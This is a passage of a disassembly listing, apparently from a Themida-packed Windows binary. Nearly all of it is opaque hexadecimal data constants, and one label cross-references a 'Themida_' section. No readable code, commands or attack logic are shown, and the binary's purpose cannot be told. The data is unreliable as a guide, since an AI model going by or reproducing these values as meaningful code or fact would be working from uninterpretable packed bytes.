dd 7E877E07h, 0A83316D0h, 0CA88B7E7h, 1BF90B8Dh, 46F3B390h
dd 0D7E92E16h, 31120FA2h, 62E1B730h, 561A61E6h, 0A2DE5AC1h
dd 0CF2E50D4h, 5260890Eh, 816405A2h, 4A120920h, 8AC8CC61h
dd 76A9DC4Eh, 1726FE88h, 236E2FDEh, 0A3079744h, 5A01A0C7h
dd 0F7E3C0EEh, 17AEF52Eh, 48C0DA3Ah, 5F0E15B5h, 9D012160h
dd 89BF3469h, 0B31A4998h, 0ED4D8D03h, 0A591774Bh, 533D7B49h
dd 858079FBh, 0A8289935h, 69379052h, 46F48D04h, 0F2BC6AE9h
dd 317D1901h, 52F0BF58h, 0ADF0C62Fh, 66965F02h, 5E2D6FBBh
dd 88CABC82h, 9700ADFFh, 2DB35EAFh, 1D931E14h, 0C96632E1h
dd 371C569h, 0DE64DC25h, 0AD6ED700h, 0BB7B7E93h, 0CAF208AFh
dd 84BF05E8h, 7A3ACEE1h, 1DD6881h, 8768B581h, 316413B2h
dd 29806A04h, 0F30CB178h, 83F08276h, 657B7526h, 0FC533204h
dd 16BEF90Eh, 2A1BA1C1h, 0BFCFF970h, 565004B1h, 0AB5FD88Bh
dd 0BC5AAA7Bh, 6EC14B57h, 0EF221289h, 3004F889h, 0B209B8DFh
dd 51DD54F9h, 909E7A63h, 1C084FC3h, 25CCAFADh, 8ABC4F76h
dd 5BF51C90h, 7B46E949h, 64C2D8D3h, 771A5Ch, 0BA479BFFh
dd 25B589C7h, 0F7672E1Dh, 4C049D74h, 13DD140Eh, 38AA2CADh
dd 44A4A1Eh, 0F1A117E7h, 0B48DF08Fh, 0F999FC26h, 7122D909h
dd 6B15C6E6h, 9D4A2B7Dh, 0B9893C5Dh, 0EB8AFC18h, 0AB847963h
dd 9D0B7E70h, 8B6AEDB9h, 46A4F80h, 486A090Eh, 78E4B620h
dd 0A549AF84h, 125A12A7h, 0BE4813E3h, 599D231Ch, 3E8DB933h
dd 0F61E390h, 1091BD8Fh, 0B350E4D7h, 0F312705Fh, 78E0C7A6h
dd 633EEF23h, 199ACB2Dh, 0CC01AC8h, 1611EB70h, 926F169h
dd 1202DAD0h, 4E552D25h, 293B98C3h, 5EB21681h, 8A67B000h
dd 0B3799AEAh, 0F92D25B6h, 880097D1h, 31FBE60Ah, 0A15503EEh
dd 0D1EF817Bh, 0AA5EC497h, 67F4D89Dh, 957198C6h, 0F4EE1A8Bh
dd 91AC1B00h, 0BBEEBFD6h, 700700D0h, 7B356F1Ch, 77508B88h
dd 6402DE2h, 24CBD5Bh, 9248CB3Ch, 13E16B30h, 0B6C0781Ah
dd 0B72C9A4Fh, 7D7B6809h, 481AD5ABh, 0C8B5DDh, 0CEE6B70Ah
dd 53954B31h, 456225D7h, 0DF4B65Ch, 0A9EB6847h, 28823A3Eh
dd 5796D504h, 0E1580B93h, 16E5E2ABh, 0F09A51E3h, 29801B43h
dd 19212F85h, 6D955616h, 0FED0407Ah, 9614DBE8h, 10EEA029h
dd 177F26D1h, 0FDF780h, 0D6BF5328h, 7A780F22h, 83BF297h
dd 4373CE2Ch, 0EC001391h, 0A07B4D3Dh, 0BB00D635h, 0B2DABCB8h
dd 95F9C3Fh, 0EA97F28Ah, 600002D0h, 8BA2ED80h, 2F3361F0h
dd 2E89A1BDh, 4F989555h, 4E98B9E0h, 51497BFCh, 0FBD2167Eh
dd 22F0A82h, 0B75C13B7h, 84B0B5E9h, 0B87C2F3Ch, 8738A3A3h
dd 0DE145409h, 0F7E0554Bh, 3AF6AB65h, 50408D0Ch, 6DD7BB04h
dd 91D45ADDh, 1A999E04h, 0CD36BE29h, 87A65A4Bh, 283017B2h
dd 22022540h, 0B89EA140h, 919C3597h, 3CAD8019h, 5155610Eh
dd 0E2D6CE4Ah, 0FC155592h, 396DE760h, 7CCE014Bh, 0A5952988h
dd 0F3A32A2Fh, 6A38588Dh, 0B6F23FA6h, 0DD401774h, 2B469DAh
dd 0AC9ACFB8h, 645C0286h, 0D0EA5BADh, 1A5048BCh, 1D4B29F3h
dd 8E6A5D89h, 15EF00E4h, 0E93F0380h, 0E46295AAh, 4DCE57Eh
dd 8507CB41h, 0D188BAE2h, 0C6550035h, 97241D61h, 0C2045EDCh
dd 5A457ED5h, 58A217F0h, 0C1280E52h, 4A125E9h, 0FCE4CF54h
dd 0BBDF02BFh, 2055E232h, 1B52981h, 1394A423h, 0F8CFEF80h
dd 80BD4FC2h, 0FC6122E8h, 0E4B1A37Ch, 0F047E62Ah, 577E13Eh
dd 7DD2949Fh, 3C07A2FCh, 0FA1B8132h, 9AFB914Bh, 0A03A1CC1h
dd 0FAA83D0Ch, 9975B61h, 4035503Eh, 0B3259019h, 0F9D287B1h
dd 701E5B7Bh, 777E90BCh, 2C40E309h, 2DADF8B6h, 54542A55h
dd 3B30BD7Eh, 93018873h, 0DEA94DABh, 0B03F7CDBh, 0F802FAAh
dd 0C91A958Ch, 96E0AACDh, 27C918BCh, 76589D67h, 0F95649BFh
dd 3B4DDD6Ah, 41800CDAh, 8D2957F9h, 5F4024B5h, 2F693181h
dd 30519D2Bh, 6BFCF77h, 5F7EB7CDh, 1976ED1h, 0E7A9C471h
dd 3B35EAh, 0BFE99CBCh, 65259E10h, 1394C512h, 0C9C9DE8Ch
dd 0D0AD733Eh, 78006B87h, 3E5D48F5h, 9F75B0A5h, 660BA470h
dd 49AB83BFh, 9B6882C9h, 0CE3245C5h, 876A4F40h, 0CF143639h
dd 6524A2FFh, 2DE51C01h, 52AD7210h, 0C794E925h, 0E9C83F83h
dd 0F3C6A65Eh, 0F9EB9B58h, 86E532C6h, 0EB8F122Bh, 6C01046Eh
dd 43AA2A48h, 85DCE672h, 6088D425h, 4DA50DFEh, 0AD6D7300h
dd 8BA8D650h, 59640157h, 0DD38F480h, 5FD9E4BFh, 7D9E1A97h
dd 12206A84h, 0F679702h, 0FF5150h, 4A26063h, 7612F0DFh
dd 0D1EA1EB5h, 6A2E4DBDh, 0E64EA4CAh, 3D0FE0D8h, 2FD3A7Eh
dd 0E2643312h, 1FE43B72h, 978185F8h, 65AB2B3Fh, 890BAD3Ah
dd 3BE273F5h, 13BD9509h, 0C97BCD5Dh, 0D0348138h, 0B7E653h
dd 277B3A09h, 7C9B86h, 0B1D94547h, 0CC43ACADh, 7D02F0E6h
dd 6A5B72C2h, 0DCA15EFFh, 9FA79303h, 0BA80B484h, 91D48515h
dd 0B50906BDh, 1CF604A9h, 0D83F4BF4h, 2388260Bh, 0EA94ABDh
dd 0EDCC29D0h, 0FE0B067h, 0C80C8D22h, 39A6060Ch, 8892D525h
dd 1968ED87h, 0F6E71955h, 41706016h, 44FFC695h, 4700A710h
dd 1D651C46h, 1168880h, 87E0C55Ah, 2A78688Eh, 11C4D8F8h
dd 85C14B16h, 0F75271BDh, 48119E0h, 0F92F32D3h, 4914BC11h
dd 0D2049231h, 2B0417BDh, 0CD1782C8h, 0EBD12885h, 1AE94531h
dd 32C06239h, 0EC8B5FA3h, 81428800h, 483733B6h, 5164010Fh
dd 0D3809115h, 8551705Ch, 0AF260124h, 788A494Eh, 12DC903Ah
dd 0F429A143h, 64BF8934h, 0D88B252Ah, 100C3CE9h, 9952E9F8h
dd 33AD8D92h, 3BA27A2Dh, 538E0F14h, 560B0C64h, 4549088h
dd 631970CAh, 883FBC5Fh, 0E9C1AF26h, 36BF002Fh, 79120AB8h
dd 131A583h, 0A99D29FEh, 41443D2Ch, 0ECF49270h, 510931F6h
dd 533DE42Bh, 0F7013B2Ch, 3B460708h, 82802F6Ch, 715B589Dh
dd 12DFD601h, 89A6B170h, 7DA23D20h, 0EF6A4AD4h, 0AD5A266Eh
dd 0DCCA82A7h, 1D8B8203h, 9795D01h, 40606D4Bh, 45622B78h
dd 9D46F600h, 8A8FE7F4h, 833091DEh, 245E66A5h, 0D7F128D0h
dd 9B40809h, 496AFCB1h, 1FCD863h, 816B95Bh, 0E57A447Ah
dd 0DF921D2Ah, 0CE6C70F1h, 0B092BD93h, 3BDB8130h, 6A171232h
dd 0E74DF6FCh, 2CB8EC14h, 8512A594h, 7845F22Eh, 714329B7h
dd 96EEA49h, 35B1195h, 0E9636D0h, 631F339Eh, 4D99D62h
dd 55C9495Eh, 0C9B599B0h, 201012E7h, 26CAFA38h, 518E6E0Eh
dd 1D70609Fh, 2534743Dh, 4AED398Ah, 0CB601664h, 0A19054CCh
dd 45CA3D4Bh, 4BF56650h, 0D343CA71h, 0ECE0D730h, 98AEE8Fh
dd 9C3717FCh, 33E90902h, 44DE1C57h, 0DAAAF85Eh, 0A9BD77h
dd 0CD79EC8Ah, 0DD043B30h, 58EF80B0h, 89C126BCh, 6A0565B5h
dd 6A4E61B3h, 58F14E86h, 2BC0E3F9h, 0CA7A4BF5h, 26232235h
dd 69940160h, 0B0A2E65Fh, 0DCD20EFFh, 0F2326118h, 5C1C8949h
dd 0F906F699h, 0EE2D55Eh, 4B2CF068h, 214ACA59h, 0A58504B4h
dd 9D23411Ch, 0C96A1A21h, 80DB6092h, 0FC95DB4Bh, 8B8B2A9h
dd 4A839258h, 4B4A7DD8h, 41F392C7h, 95D38429h, 0ACF9FD57h
dd 0D9028C19h, 0A357C31h
dd 4E907701h, 0C804EF22h, 51B75B66h, 832F29E0h, 0C99D09C8h
dd 68E21D4Ah, 0A1E7A6D2h, 0B3206457h, 801640FDh, 40A7CB2Dh
dd 0B692E814h, 0DD8A0937h, 0BA3D525Ch, 122613B3h, 0ED4E7EFCh
dd 0C8C8BDD0h, 0D20EFC6Ah, 8C00BB40h, 48169868h, 47779E3Eh
dd 2751E0AEh, 8400BF0Ch, 7D37CE54h, 0E641430Fh, 3A45B58Ah
dd 61B05F92h, 57151367h, 825CDB3Eh, 57B531A0h, 2BF52C69h
dd 0F98B2131h, 0FB0F652Fh, 27E99AC8h, 9E7C0208h, 0E9801CF4h
dd 2E01442Ch, 0AD20BB1Fh, 2566570Dh, 30E6CF38h, 71BD2909h
dd 0DEF15623h, 0DB021846h, 0F35C0CF6h, 0C625DE74h, 9564B523h
dd 0CA3D8300h, 38156E4Fh, 0F5600594h, 0AA615E53h, 0A004AA99h
dd 891718EDh, 11E20406h, 10A31401h, 0FFE52621h, 0FA3F106Bh
dd 7086BA81h, 0F2892585h, 8044377Fh, 0CE15AC5Fh, 4D4BD8A6h
dd 8006ACF0h, 8CA16096h, 53B9CCCAh, 5061B00Fh, 3FBA6056h
dd 57257DFh, 0AF1A2B8h, 96870B32h, 6A237C61h, 0EFA4ACA2h
dd 80290A23h, 2F534D5h, 4A9752ECh, 76C17503h, 0B54ECBFBh
dd 1E4D62C8h, 0C3CC3B11h, 8B771464h, 897AB780h, 100C15A1h
dd 0A7F4DDh, 0CD27C866h
db 1Eh
byte_511491 db 0AAh, 0FFh, 8Ah ; DATA XREF: Themida_:005677E8o
dd 5B589225h, 3EF17036h, 2FF990A0h, 4BEA3B97h, 90814B18h
dd 0C06FE9DEh, 0A7CDA63Dh, 12DB90A9h, 885AF08Bh, 9C003260h
dd 5F4BB8C0h, 162BBAA3h, 0EC9F5524h, 5A36D4CFh, 4173D9A2h
dd 9B206A5Fh, 4C7A6Bh, 7B1FBB8Bh, 922FB26Ah, 40B8EF16h
dd 0B313EAADh, 0F66153B9h, 0CEF9E04Dh, 26302702h, 8D859E60h
dd 36DD084Bh, 139F7030h, 0AA209659h, 0B081E538h, 0B8A0125Eh
dd 8D3AE208h, 19602731h, 44E92751h, 0D18024BDh, 0E1E63042h
dd 9E87600Fh, 5111E0CFh, 7603C795h, 39D4E0B6h, 2BDC201Bh
dd 0EB83F04Dh, 0A0940A2h, 7942CFF7h, 4BB6472Eh, 0F4407Eh
dd 5626025Ch, 4C13B1E7h, 95FCC697h, 0FA85A5E4h, 0F4697B9Ah
dd 9C950594h, 1DF5F328h, 10D69D0Bh, 0B9B5ACACh, 0F46BA9CEh
dd 9505E9B3h, 8C25A4AAh, 74B477ABh, 34EF1717h, 4398AA3Dh
dd 0ED854D9Dh, 5D96F813h, 0AD102756h, 2E01CFECh, 0BF66A07Dh
dd 117067CBh, 26B125BDh, 0F6949B4Eh, 0B6EE8144h, 0C11B00CDh
dd 0DC72675h, 891716F4h, 25C3E98Dh, 0B003E65Bh, 0CA1A2961h
dd 60862466h, 3C1F263Dh, 40026EE0h, 0EAC15688h, 54DD50Fh
dd 0FB601765h, 4A136B20h, 0DA4A886Eh, 0B97DD101h, 0BAA6D074h
dd 0B72ACCCDh, 20FE233Bh, 143D258Dh, 0BF01F959h, 0CF99430h
dd 6FC6122Eh, 0E0C20000h, 476F9EDAh, 0DC6950DEh, 30640ADh
dd 1D01BD12h, 0EDD71BB9h, 5FE6B874h, 1054FCDBh, 0F65C2541h
dd 0E3C06912h, 95165AFDh, 0FDD157BFh, 0A8BC89h, 4551F4B7h
dd 1698F1E3h, 22050948h, 0DAA5A029h, 0CEB995C7h, 4BA538A9h
dd 1AACD5FDh, 7D31C8Ch, 9046C55Dh, 49A8A811h, 96E60032h
dd 12D789BBh, 4B8D907Bh, 291B81DEh, 29DCCB9Dh, 0D4C49141h
dd 0DA8E752Eh, 0D83B82EFh, 995748Bh, 955512C9h, 775B2547h
dd 60CC50h, 0F732D8B5h, 0DF81FF87h, 0CB92280Bh, 946E0078h
dd 557C79Eh, 62BF5350h, 0EAEE8456h, 3D9B4A95h, 31748BC0h
dd 2C52B595h, 6B04D39Fh, 0B9B84B53h, 0B18D09C1h, 102B3A1Ah
dd 378F7A83h, 0A03DC0FDh, 0D279D31h, 0B956C82Bh, 0A2379726h
dd 0A6801C91h, 7923C2D4h, 0C5CC8A09h, 449E7162h, 3EAC5354h
dd 2D79B5D2h, 1D3FE84Ch, 0C96C8F29h, 0F6FCC6FDh, 93B33FF4h
dd 7BF53D87h, 0B86B6448h, 86ECB59Ah, 0F0E9B162h, 0B72F9A5Ch
dd 603F00C9h, 0DF2D2BFh, 8D856D50h, 95611340h, 5A40F26Fh
dd 2B4EF9Eh, 1E293C96h, 0E8C6E4EEh, 74A5DA27h, 0ADF5924Dh
dd 3FFFD7F9h, 109B2DF5h, 7C2355Bh, 0F5600CFAh, 0AF75B540h
dd 4563E1Eh, 0F92589ADh, 4AD0725Bh, 0E4CB05F0h, 0AED98A3Fh
dd 2B8D484h, 0D529BA92h, 0C168DE85h, 8539DEE4h, 71FA6701h
dd 6F57530Ch, 0D8AFAB1Ch, 2B0641AAh, 0B70FDC00h, 0DBB50FEh
dd 759EFC5Ch, 2B6E6FFBh, 0EADE5600h, 0BF74DA96h, 0C99B7D04h
dd 9BAE6A5Eh, 2BB4C2A2h, 0B8105F4Eh, 0AA0E97B2h, 0BAF561AEh
dd 0C15BED54h, 30B445D8h, 2F418D2Fh, 4E01BDD8h, 0B374FA02h
dd 0BDD58CBBh, 7944855Fh, 0BF400588h, 11131E22h, 5A4553BDh
dd 0E000C04Eh, 0BF52570Bh, 50C6280Ah, 5FFFDD02h, 9A17DBD1h
dd 51CD56ECh, 34FE1484h, 0FD9AC17Ah, 5DA37A24h, 0B2AC8C4Dh
dd 0A1206A4Eh, 8AF631h, 9B0FC5D3h, 51605077h, 32EF5A4Eh
dd 0A977F131h, 5A98DFBEh, 0E82EB756h, 0D752215Bh, 1F008035h
dd 63270E6Ah, 0F13A4865h, 0E5D0C42Fh, 25195D20h, 0C5C7B3E9h
dd 0C17208h, 95F29BBh, 8D39314Bh, 20E7DA61h, 904FB05Eh
dd 50F98A07h, 576B21B3h, 0FA0BE6B7h, 1271A060h, 548D2335h
dd 9761DF71h, 6DF67A0Bh, 46712FFCh, 0C29C2A50h, 23655B69h
dd 2EF9595Dh, 18237B6Bh, 0E1913100h, 48A17C0h, 0FFF6AFDh
dd 0DF178C8Ch, 72BF33B8h, 0DCB7BE48h, 6D82D70Fh, 256AC0E6h
dd 97EDB8F2h, 80FE4D31h, 0F0816031h, 4FE383ABh, 2ECA0854h
dd 9B0610Eh, 3E70FCh, 0E71AF781h, 858971E4h, 6404912Dh
dd 0B9CA254Eh, 16D14AC9h, 1E71254Ch, 1794AC4h, 73321D25h
dd 83F2C5Ch, 0C1961871h, 0B52542AAh, 81183211h, 22C57EDBh
dd 0ACCC3193h, 90D13928h, 0A1C49D79h, 61D157A3h, 0AFB26EE9h
dd 0E4C12C8Fh, 2F1EA8F3h, 1A3D5681h, 0B5952900h, 0C0929F96h
dd 0D523F692h, 21142245h, 74B385A1h, 708C19AEh, 9E9C2F51h
dd 838400CCh, 8C1043Ch, 0E50123CEh, 21DE8FABh, 0A82AF65Ch
dd 0FB489942h, 0D42FDE21h, 21CABFC4h, 71BD2B0Bh, 0A5506B7Ah
dd 0AEC4FE1Eh, 0AC1019D1h, 18896C41h, 565C0125h, 5D3AAC50h
dd 7E8F6E4h, 50F0A906h, 98422933h, 69C16521h, 0FACDD42Bh
dd 96AC7EB2h, 0A334DB16h, 31804EBCh, 0DF7060E1h, 0A288CC09h
dd 38C2549Ch, 80CA5F40h, 74AF9319h, 0A859383Dh, 0FB062DE8h
dd 45950176h, 55CB82DFh, 7F804DB7h, 11C49959h, 87D39DFCh
dd 70457870h, 89532D94h, 5B44A856h, 8D311B8h, 0BA1406F8h
dd 7156240Bh, 12127508h, 0B45FB95Fh, 31C6C6DAh, 65207848h
dd 435B9726h, 0D211D92h, 5CDAA9BDh, 0BF66C01Eh, 8B25FB5Bh
dd 0D6A4D6DEh, 60091646h, 0FD5A274Bh, 4B4BDB5h, 0AA3606B6h
dd 8FBF5AD0h, 2535257Dh, 0B6B20C5h, 0F88199AEh, 3F2E8AE5h
dd 4FD4708h, 1CFE5FFh, 7D80E4ECh, 0FE183B4Dh, 0BCB76000h
dd 6B4BC4ABh, 95D204DCh, 0B89705A5h, 2F5DA251h, 63F272h
dd 0DD9E18DBh, 0EF94A75h, 0D28985BCh, 72482402h, 4F902E46h
dd 5625AD25h, 0B55F5A03h, 589800B5h, 0CA6533CCh, 7EAA0702h
dd 5531524Ch, 92B0C3E4h, 0F381E107h, 2861D313h, 292E35B7h
dd 0CD29E650h, 98DC047h, 48098C18h, 7DB6DE4Ah, 3578D290h
dd 0C7421E00h, 0FE49B0A9h, 50D30227h, 0D97E01DCh, 7BD5C241h
dd 282B9FB5h, 0A28A527Ah, 7D1341BFh, 867B219Ch, 0BC7AC3D5h
dd 0B82225F5h, 595E8977h, 0CA89AF75h, 0F7E67358h, 4E91534Bh
dd 9E6E0140h, 8BD78118h, 5AF0FFE4h, 587F743Bh, 0E0C2B960h
dd 0C55F86D9h, 0C2402F11h, 3309BB61h, 0D5603443h, 58408015h
dd 576E9AAh, 0E17062ACh, 25A1BC71h, 9577CE25h, 2075D082h
dd 0B053E657h, 1CE9206Ah, 9EC9504Ah, 0D44FBB69h, 0ADB1D4A9h
dd 6EAE4E9Ch, 699901E1h, 53572E89h, 0C1282671h, 42A95C4h
dd 4EC1685Bh, 32E7043h, 5C4F764Bh, 0E034B6BDh, 5DFB7C9h
dd 0EFB6954Dh, 9774ABF5h, 1FA0D1E6h, 100845Ah, 269DD856h
dd 2D8D317Fh, 545406EDh, 623276EBh, 775027E9h, 48C5034Bh
dd 235E6FAAh, 6F090216h, 905F53F8h, 38C6871Ch, 178F1103h
dd 8CC042F2h, 5B406CB5h, 0EA4C51B5h, 0B9003A0Fh, 6C70BF60h
dd 5B95747Ch, 0D4C8AE0Ah, 18C1F400h, 52EFCCD4h, 0B4C02848h
dd 112925F6h, 851072C4h, 98401051h, 9F0D9AD5h, 0D35A1EFBh
dd 0A78B0006h, 0C08EAF87h, 33AABA09h, 40C4D657h, 0B3075985h
dd 16F88400h, 4676F38Ah, 0C223001Dh, 5F2737A8h, 2009C381h
dd 707C11B9h, 0D2B79D91h, 0A4658D00h, 976390Eh, 6CB7907Ch
dd 41253BE1h, 161D7Ch, 1606BB50h, 0AD107F70h, 2DBD1C91h
dd 0B789CE65h, 8C593489h, 0CDAE5145h, 0C65FDD94h, 0CB60C2D6h
dd 0A1F1EE8h, 46C478A4h, 52B73095h, 103BB60h, 6177FFE5h
dd 0CCAFEC5Fh, 45006704h, 0C496ECB9h, 2D14BB66h, 4D7B5FA8h
dd 0C04DCD2Fh, 349BBE9Ah, 289E0495h, 0D489922h, 0FB97858Dh
dd 0D0AFF04Dh, 49636B00h, 90B7027Fh, 0F1F0D650h, 65B66A67h
dd 5CE00A6Ch, 212D86Bh, 5490FE7Bh, 0E909DC70h, 573C6F4Dh
dd 62A117B5h, 0F9D8F280h
dd 4D9C992h, 0FC8AD22Dh, 0E0C8E661h, 25D9E49Dh, 0B2C51572h
dd 5DB58982h, 0B2C4932Dh, 0F29C551Ch, 0FD332969h, 0CD7D3F62h
dd 9F2FE0B6h, 64BF29F5h, 4553954Ah, 8018115Fh, 4CE6E584h
dd 0A94D97D7h, 0F50195C0h, 566A0437h, 0B8D88A73h, 2BFFA2C6h
dd 2953E2D0h, 27ECCCE0h, 3EE80BBBh, 38552B2Ah, 971CC197h
dd 4D959D16h, 0B08F4095h, 3C02D8BFh, 49EC7A0Bh, 60375CD2h
dd 0FE19589h, 53973A97h, 4F667062h, 142B4A09h, 2038D00Ch
dd 800904B9h, 0E450FEDFh, 14D33856h, 23C6A789h, 0BBDA18D5h
dd 887626EDh, 0ABF893C5h, 1823096Bh, 84417B02h, 0F8AE6166h
dd 0C8E2DA6Ah, 0F341CE18h, 2E2E2F5Eh, 2014DC62h, 21D3A6EBh
dd 983BF00h, 5F940A66h, 456B0072h, 0D8A2EC65h, 6CB527C9h
dd 8CDA4BD6h, 6905B3B8h, 86D8D01h, 69892DEBh, 0BFE8A829h
dd 0DA17EF6Eh, 6FBEC283h, 0C91A167Bh, 0F7B08852h, 85032560h
dd 0B532EF44h, 5C61DDCDh, 476DE9D6h, 30DC5140h, 85C1BDF0h
dd 7EB72A26h, 520BB4Ah, 4B9AC780h, 0F4B8A66Ah, 0C747A4EEh
dd 0E304384Ah, 0CDB9AA1Bh, 2906F5C4h, 1A71822Fh, 21EA9604h
dd 0C0BC5EDEh, 0B0076EEh, 544F9084h, 7265EBh, 0BFC079C9h
dd 830FD828h, 0D09FD1ACh, 2B960428h, 0AE0209BDh, 14237C6Fh
dd 0A3E01317h, 73BF882Dh, 61BA8762h, 303AD719h, 1AC3845Dh
dd 47E2CCB8h, 95B50920h, 17D1B713h, 0D4A6B30Bh, 49C6691Ah
dd 0F3B7F198h, 0A35B52D4h, 3A846505h, 0A92687C0h, 7DC9A0E1h
dd 3592A525h, 0ABF584ECh, 6A7F702Dh, 8EA807F2h, 0E6707EABh
dd 581BF42h, 0B7E8DDF7h, 492AAF3Ch, 8595B280h, 3110CD48h
dd 0B9C511BDh, 0A052A701h, 2D4356BAh, 6354BD89h, 30F85FD2h
dd 94EB7B5h, 1ADD7CEDh, 8BFA051Ah, 0BF5BF820h, 0EA5F025Dh
dd 0D0B75615h, 0B5DD94D5h, 53FD035h, 86EDCB37h, 80964CA8h
dd 0BD0A79DEh, 3C179D74h, 0AE0F035Ah, 8BB9B201h, 0C00C9BE5h
dd 3113E4DFh, 9E17616h, 46E9FB8Bh, 8DF60F78h, 0D17FFEE3h
dd 42ECF267h, 0A16E2300h, 91F6961Eh, 2511B8F8h, 99731821h
dd 5E2C2A8h, 66BF0486h, 0A523AA58h, 4A2E38B5h, 0A400AA6Eh
dd 3BA9904Eh, 2D136FE4h, 8F076298h, 0D5596EC7h, 88008A3Dh
dd 2B68875Ah, 0BF0E19F2h, 23B5E296h, 88244AD4h, 3B230ABh
dd 569FFD9Dh, 0D13742B3h, 8A6A0009h, 0E29529B2h, 625B9D14h
dd 0F58CC2Bh, 1D5E706Ah, 0BCD78130h, 90320E89h, 0A689515Eh
dd 0F16168E8h, 6D90893Bh, 983EB954h, 9B2775CCh, 52369045h
dd 0BB91008Bh, 4E9E6B7Dh, 65E8302Ah, 71C6B754h, 7B6AAC2Fh
dd 3FDD785Ch, 0A97E5116h, 7F4F4D88h, 0F14413E4h, 0F69BEF6Ah
dd 665B0780h, 0FE1291A4h, 9AAA86BFh, 291D8A5Eh, 800C9A40h
dd 7D2107E1h, 8940D2C9h, 5940F154h, 180C8B9h, 7EC5204Dh
dd 0E05396B5h, 0F301A82Eh, 799249ACh, 68D0BBFBh, 5B6225DFh
dd 0F5043AE6h, 0E7B7D1FFh, 59A2FAB8h, 0F4EA5F12h, 459CDC63h
dd 0C5AB55B7h, 89DEFAB3h, 0D773B1C9h, 6181C59h, 0D9E8BC00h
dd 0F8EB093Eh, 0E7E92DA7h, 41705554h, 26F881D1h, 0EEB6F091h
dd 3DB4250Ch, 7BEB055Ch, 0BB10506Bh, 0DCB9F902h, 0E352907Ah
dd 0F802C882h, 126E7985h, 0E633EF80h, 3014E2E0h, 0E409BFB9h
dd 5517A3ECh, 571224Eh, 0DC292E85h, 393C3658h, 6A771383h
dd 32CF4F0Fh, 0A7E82EB9h, 9570F604h, 0CDAB567Bh, 0A1F32AAFh
dd 8A7C5F25h, 5324254Bh, 1FD5F2C1h, 0C8F3A23Ah, 0C4FAB721h
dd 1B22AE30h, 691A5E80h, 70E6ECB0h, 0D99D2916h, 3FBF2FC0h
dd 2528E63Dh, 84C471E4h, 4D44CF01h, 477B9A1Ch, 0E8E0482Eh
dd 0BAFC04A7h, 5358DEB8h, 0E6313512h, 0C7F14CDEh, 97B04928h
dd 968F9DEh, 47F5913Dh, 8504235Ch, 0BF351235h, 3DA0A38Ch
dd 3B000E49h, 0CD23B671h, 997D442h, 404E7EF9h, 6DEED9B8h
dd 0F4673A00h, 402B2601h, 0F6E101AFh, 0CAA718FAh, 0B0B2FC1h
dd 24AD61D1h, 4880E901h, 8508593h, 0DF16816Eh, 0CF049244h
dd 0F9B817BDh, 88D71C98h, 0EF04D874h, 4C061CC9h, 2E5261Ch
dd 9023396h, 1595045Eh, 3FF71E2Ah, 0DB2F35AEh, 3E0880D8h
dd 66C6C02Ah, 0FF8D8B1Ah, 6625503h, 945523E2h, 0CC57671Ch
dd 4B5CAB89h, 0FE031D48h, 687D9D31h, 1F6F483Dh, 6A53E0Bh
dd 0BF08F7C5h, 0FB602751h, 7125BD01h, 0C0D1CE05h, 7ADDDBCAh
dd 107041B9h, 7861D39Dh, 2A0215F0h, 0DCAF4555h, 9C3FEB6h
dd 0A273201Dh, 7DBB527h, 4007A9A4h, 0C9B589EEh, 0BFBB2360h
dd 62FC03A5h, 6E820C50h, 0B3608B5Ch, 9D22B6Dh, 23EDBD0Bh
dd 0BFD89856h, 49A413C6h, 0E0FCF64Ah, 189F59Bh, 0D454BAE2h
dd 2E8A69A8h, 6EAA7724h, 5A92096Eh, 5A8F7379h, 927F9F3Ah
dd 407DF44Eh, 0ABF4E17Dh, 5F12DC00h, 254BCE60h, 97C8EA09h
dd 9DBFA418h, 654AF97Bh, 23BBC6ACh, 5F702716h, 6339E3FCh
dd 0F3E89E0h, 9825E48Ah, 6A9495A3h, 0BDFDF482h, 91502FA8h
dd 0B873A91h, 6E80F2DCh, 38DFDB8Fh, 41802981h, 0A16FA8AAh
dd 8048E8CDh, 1A6FD32Eh, 0D205463Eh, 0BF8A4048h, 0D735C092h
dd 0D8778842h, 0CF5395F0h, 73181759h, 0B56DAB05h, 0FDF25160h
dd 29F05800h, 6CC3CD0Ah, 43761600h, 0BF017F5Eh, 7CA40023h
dd 87C48059h, 0E14CFF61h, 0FD54E46h, 0C45AD0B8h, 0A3C5AC5Dh
dd 6FA05A6Ch, 0DC300058h, 0DFE9A5E1h, 0FD76C94Fh, 75B1D76Bh
dd 69A37A32h, 40694C8Dh, 675C5AFCh, 74B11497h, 21FB9704h
dd 0E45F7E27h, 1325F8B0h, 8FFE1BB1h, 6572D60Ah, 7810D593h
dd 700624Dh, 0A3692372h, 3EF5385Ch, 0BA102208h, 11CD1135h
dd 58C0350h, 80221F14h, 0C1DBFCE1h, 5B45390Fh, 4C1BE82Eh
dd 9EDCC0A7h, 3F27F79h, 97FFED7Ah, 0B9CC7D11h, 562425F6h
dd 4B02F69Eh, 7646D1B5h, 89407551h, 62B55F5Bh, 0B06D7F78h
dd 95601A65h, 77885E62h, 12080494h, 0EE1C870Fh, 0B7BB8EDCh
dd 44AF2B79h, 4C30793h, 0B0C17A5Eh, 0E0DB6259h, 8D123198h
dd 6FAB23B9h, 31423DFh, 0D88B90CAh, 71B360B0h, 7F9B615Ah
dd 59A70CCh, 61A6E099h, 13BDA27h, 575D9D68h, 2E79B33Ch
dd 3C8EFC10h, 48A6CF48h, 70FAF1E1h, 59958DDFh, 24744A93h
dd 0D8652508h, 695BD04h, 424A1449h, 2D58C4DDh, 3D545F53h
dd 5CFBB7C2h, 60D068ABh, 0B07DBEA4h, 35693D02h, 5C9617D5h
dd 0BAD3E1BAh, 36986B2Ah, 46C082FBh, 722457E6h, 99CA342Dh
dd 0DC6703Bh, 20B60446h, 519D1669h, 81309EA8h, 979A1092h
dd 4C6F6CC2h, 0B5E3C07Ch, 7125759h, 2C608DB8h, 148657D5h
dd 0CB33B8B4h, 4062768Bh, 4DBC1D68h, 1633E15Ch, 31BCF614h
dd 0D147E200h, 4EE4BB1Eh, 8D6D9409h, 0E1BF7785h, 0DD1F8D00h
dd 9D744D0Ch, 0A5803B71h, 9FBE3693h, 1187B55h, 76A2BB66h
dd 2A53505Fh, 75F890C2h, 7AE4841h, 0F30A90D5h, 50929BD1h
dd 253877F0h, 0CB6D5B0Ch, 63601764h, 2BD9735h, 554DBD97h
dd 0A6209F4Dh, 0CFC414Bh, 245A32F3h, 0FBBC54E9h, 462CE5FCh
dd 2711E7C2h, 2120EF4Bh, 8A7D8D01h, 0C975AE54h, 9C11907h
dd 3BD041D3h, 0A1B0002h, 0D1481937h, 56C5EF63h, 38AB145Dh
